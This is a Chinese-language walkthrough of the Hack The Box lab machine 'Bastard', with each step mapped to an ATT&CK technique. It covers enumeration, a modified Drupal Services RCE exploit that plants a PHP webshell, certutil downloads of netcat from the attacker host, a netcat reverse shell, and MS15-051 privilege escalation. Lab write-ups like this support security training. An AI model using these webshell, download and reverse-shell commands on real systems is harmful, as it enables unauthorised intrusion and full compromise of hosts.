HTB靶机 Bastard

 

转载:WHITE

Bastard
14​th October 2017
Prepared By: Alexander Reid (Arrexel) Machine Author: ch4p
Difficulty: ​Medium
Classification: Official

 

概要

Bastard是并不过分的挑战,但是它需要PHP的一些知识才能修改和使用初始输入所需的poc,该机器演示了cms中潜在的严重漏洞。

所需技能

●Windows的基本知识

●PHP的基本知识

●枚举端口和服务

学到的技能

●列举CMS版本

●利用修改

●基本的Windows特权升级技术

 

ATT&CK – 发现

T1046 – 网络服务扫描[nmap]

攻击者可能会尝试获取在远程主机上运行的服务列表,包括可能容易受到远程软件利用的服务。获取此信息的方法包括使用系统附带的工具进行端口扫描和漏洞扫描。

在云环境中,攻击者可能会尝试发现在其他云主机上运行的服务或环境中启用的云服务。此外,如果云环境连接到本地环境,则攻击者可能能够识别在非云系统上运行的服务。

root@thp3:~/htb/boxes/Bastard# cat nmap.nmap
# Nmap 7.70 scan initiated Thu Jan  9 07:34:09 2020 as: nmap -sC -sV -oA nmap 10.10.10.9
Nmap scan report for 10.10.10.9
Host is up (0.30s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan  9 07:36:30 2020 -- 1 IP address (1 host up) scanned in 140.47 seconds

通过IIS7.5可以判断目标可能运行的是Windows Server 2008 R2系统,并且发现靶机使用的Drupal的CMS系统

目录扫描:

root@thp3:~/htb/boxes/Bastard# python3 /root/opt/tools/dirsearch/dirsearch.py -u http://10.10.10.9/ -e php,txt -x 403,404 --simple-report=bastard.dirsearch
 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php, txt | Threads: 10 | Wordlist size: 6344
Error Log: /root/opt/tools/dirsearch/logs/errors-18-06-28_08-35-01.log
Target: http://10.10.10.9/
[08:35:04] Starting:
[08:35:15] 400 -  324B  - /%ff/
[08:35:21] 200 -    8KB - /%3f/
[08:35:29] 200 -    7KB - /0
[08:55:12] 200 -  108KB - /CHANGELOG.txt
[08:55:12] 200 -  108KB - /ChangeLog.txt
[08:55:12] 200 -  108KB - /Changelog.txt
[08:55:12] 200 -  108KB - /changelog.txt
[08:55:12] 200 -  108KB - /CHANGELOG.TXT
[09:06:59] 301 -  150B  - /includes  ->  http://10.10.10.9/includes/
[09:07:18] 200 -    7KB - /index.php
[09:07:29] 200 -    7KB - /INDEX.PHP
[09:07:29] 200 -    7KB - /index.PHP
[09:08:00] 200 -    2KB - /INSTALL.mysql.txt
[09:08:00] 200 -    2KB - /install.mysql.txt
[09:08:00] 200 -    2KB - /INSTALL.pgsql.txt
[09:08:00] 200 -    2KB - /install.pgsql.txt
[09:08:02] 200 -   18KB - /INSTALL.txt
[09:08:02] 200 -   18KB - /Install.txt
[09:08:02] 200 -   18KB - /install.txt
[09:08:02] 200 -   18KB - /INSTALL.TXT
[09:08:03] 200 -    3KB - /install.php
[09:10:01] 200 -   18KB - /LICENSE.txt
[09:10:01] 200 -   18KB - /License.txt
[09:10:01] 200 -   18KB - /license.txt
[09:12:11] 200 -    9KB - /MAINTAINERS.txt
[09:13:38] 301 -  146B  - /misc  ->  http://10.10.10.9/misc/
[09:13:58] 301 -  149B  - /modules  ->  http://10.10.10.9/modules/
[09:15:29] 200 -    7KB - /node
[09:20:59] 301 -  150B  - /profiles  ->  http://10.10.10.9/profiles/
[09:21:48] 200 -    5KB - /README.txt
[09:21:48] 200 -    5KB - /Readme.txt
[09:21:48] 200 -    5KB - /readme.txt
[09:22:21] 200 -   62B  - /rest/
[09:22:27] 200 -    2KB - /robots.txt
[09:22:57] 301 -  149B  - /scripts  ->  http://10.10.10.9/scripts/
[09:22:57] 301 -  149B  - /Scripts  ->  http://10.10.10.9/Scripts/
[09:25:22] 301 -  147B  - /sites  ->  http://10.10.10.9/sites/
[09:29:40] 301 -  148B  - /themes  ->  http://10.10.10.9/themes/
[09:30:56] 200 -   10KB - /UPGRADE.txt
[09:31:29] 200 -    7KB - /user
[09:31:31] 200 -    7KB - /user/
[09:31:34] 200 -    7KB - /user/login/
[09:34:30] 200 -   42B  - /xmlrpc.php
Task Completed

Drupal扫描:https://github.com/droope/droopescan

root@thp3:~/htb/boxes/Bastard# droopescan scan drupal -u http://10.10.10.9/ -t 8
[+] Plugins found:
    ctools http://10.10.10.9/sites/all/modules/ctools/
        http://10.10.10.9/sites/all/modules/ctools/CHANGELOG.txt
        http://10.10.10.9/sites/all/modules/ctools/changelog.txt
        http://10.10.10.9/sites/all/modules/ctools/CHANGELOG.TXT
        http://10.10.10.9/sites/all/modules/ctools/LICENSE.txt
        http://10.10.10.9/sites/all/modules/ctools/API.txt
    libraries http://10.10.10.9/sites/all/modules/libraries/
        http://10.10.10.9/sites/all/modules/libraries/CHANGELOG.txt
        http://10.10.10.9/sites/all/modules/libraries/changelog.txt
        http://10.10.10.9/sites/all/modules/libraries/CHANGELOG.TXT
        http://10.10.10.9/sites/all/modules/libraries/README.txt
        http://10.10.10.9/sites/all/modules/libraries/readme.txt
        http://10.10.10.9/sites/all/modules/libraries/README.TXT
        http://10.10.10.9/sites/all/modules/libraries/LICENSE.txt
    services http://10.10.10.9/sites/all/modules/services/
        http://10.10.10.9/sites/all/modules/services/README.txt
        http://10.10.10.9/sites/all/modules/services/readme.txt
        http://10.10.10.9/sites/all/modules/services/README.TXT
        http://10.10.10.9/sites/all/modules/services/LICENSE.txt
    image http://10.10.10.9/modules/image/
    profile http://10.10.10.9/modules/profile/
    php http://10.10.10.9/modules/php/
[+] Themes found:
    seven http://10.10.10.9/themes/seven/
    garland http://10.10.10.9/themes/garland/
[+] Possible version(s):
    7.54
[+] Possible interesting urls found:
    Default changelog file - http://10.10.10.9/CHANGELOG.txt
    Default admin - http://10.10.10.9/user/login
[+] Scan finished (0:44:25.844837 elapsed)

Google Search “drupal exploit”

https://www.exploitalert.com/search-results.html?search=drupal

Drupal 7.x Module Services – Remote Code Execution | exploits/php/webapps/41564.php

查看exp内容

searchsploit -x exploits/php/webapps/41564.php

查看单个漏洞信息

searchsploit -c exploits/php/webapps/41564.php

查看exp路径

searchsploit -p exploits/php/webapps/41564.php

复制到当前目录

root@thp3:~/htb/boxes/Bastard# cp /usr/share/exploitdb/exploits/php/webapps/41564.php .

 

ATT&CK – 初始化访问

T1190 – 利用面向公众的应用程序

使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误,故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放套接字的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“ Exploitation for Defense Evasion”。

如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实例受到损害。这可以使对手获得访问云API或利用弱身份和访问管理策略的路径。

对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。

修改脚本

url改为http://10.10.10.9, endpointpath改为/rest[通过目录发现,rest_endpoint不存在],字典里的filename改为bastard.php,data改为<?php echo (system($_GET["cmd"])); ?>

运行脚本时,我遇到很多坑:

有两处注释的结尾被换行了导致语法报错

PHP Parse error:  syntax error, unexpected 'error_reporting' (T_STRING) in /root/opt/htb/bastard/41564.php on line 24
PHP Parse error: syntax error, unexpected 'us' (T_STRING), expecting function (T_FUNCTION) or const (T_CONST) in /root/opt/htb/bastard/41564.php on line 70

又一个坑,因为我的Kali没有安装php-curl

PHP Fatal error:  Uncaught Error: Call to undefined function curl_init() in /root/opt/htb/bastard/41564.php:254
Stack trace:
#0 /root/opt/htb/bastard/41564.php(104): Browser->post('application/vnd...', 'a:2:{s:8:"usern...')
#1 {main}
  thrown in /root/opt/htb/bastard/41564.php on line 254

非常感谢OSCP群里大佬,不然不知道多久才能发现这个坑…

最终成功利用,并在目标网站根目录写入bastard.php的webshell

注:此处地址变为127.0.0.1是因为我用ssh做了反向端口转发,把靶机的80端口转发的了我的vps的8282

ssh -CfNg -R 0.0.0.0:8282:10.10.10.9:80 root@hacker.vps.com

 

ATT&CK – 命令与控制

T1095 – 标准非应用层协议

使用标准非应用程序层协议在主机和C2服务器之间或网络内受感染主机之间进行通信。可能的协议列表很广泛。[1]具体示例包括使用网络层协议(例如Internet控制消息协议(ICMP)),传输层协议(例如用户数据报协议(UDP)),会话层协议(例如套接字安全协议(SOCKS))以及重定向/隧道协议,例如LAN上串行(SOL)。

主机之间的ICMP通信就是一个示例。因为ICMP是Internet协议套件的一部分,所以它必须由所有IP兼容主机来实现。[2]但是,它不像其他Internet协议(如TCP或UDP)那样受到普遍监视,并且可能被对手用来隐藏通信。

下载netcat

在攻击机上使用python3 -m http.server开启web服务

通过certulti下载nc

http://127.0.0.1:8181/bastard.php?cmd=certutil.exe%20-urlcache%20-f%20http://10.10.14.21:8000/nc64.exe%20nc64.exe

注:此处地址变为127.0.0.1是因为我用ssh做了正向端口转发

ssh -CfNg -L 0.0.0.0:8282:10.10.10.9:80 root@192.168.43.162 -p 22

然后靶机反弹shell:nc64.exe -e cmd.exe 10.10.14.21 8383

http://127.0.0.1:8181/bastard.php?cmd=nc64.exe -e cmd.exe 10.10.14.21 8383

攻击机监听nc:nc -lvp 8383

 

ATT&CK 提权

T1068 – Exploitation for Privilege Escalation

当攻击者利用程序、服务或操作系统软件或内核本身内的编程错误来执行攻击者控制的代码时,就会利用软件漏洞。诸如权限级别之类的安全性结构通常会阻碍信息的访问和某些技术的使用,因此对手可能需要执行特权升级,以包括使用软件开发来规避这些限制。

当最初获得对系统的访问权限时,对手可能正在较低特权的进程内运行,这将阻止他们访问系统上的某些资源。漏洞通常存在于通常以较高权限运行的操作系统组件和软件中,可以利用这些漏洞获得系统上更高级别的访问权限。这可以使某人根据存在漏洞的组件,从非特权或用户级别的权限转移到SYSTEM或root权限。这可能是对手破坏已正确配置的端点系统并限制其他特权升级方法的必要步骤。

https://pentestlab.blog/2017/04/24/windows-kernel-exploits/

列出了可用于Windows内核漏洞利用的脚本

我们选择[Sherlock.ps1]进行提权漏洞枚举

下载地址:https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable
Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems
Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems
Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems
Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable
Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Not Vulnerable
Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Not Vulnerable
Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
             tml
VulnStatus : Not Vulnerable

由于目标是全新安装的Windows Server 2008,因此相当容易利用。 没有安装任何服务包或修补程序。 大量研究揭示了许多潜在的漏洞利用方法,但最可靠的是MS15-051。

Exploit: ​https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051

certutil.exe -urlcache -f http://10.10.14.21:8000/ms15-051.exe ms15-051.exe

拿到第一个flag[user.txt]

c:Usersdimitris>type desktopuser.txt

通过ms15-051.exe创建nc反弹shell

反弹回来的直接是system

第二个flag[root.txt.txt]

C:inetpubdrupal-7.54>type c:usersadministratordesktoproot.txt.txt

另一种实现方法,提权脚本放到攻击主机上,Kali通过smb共享ms15-051.exe,靶机使用smb协议访问

kali:impacket-smbserver bastard pwd

靶机: http://127.0.0.1:8181/bastard.php?cmd=\10.10.14.21\bastardms15-051.exe whoami

(完)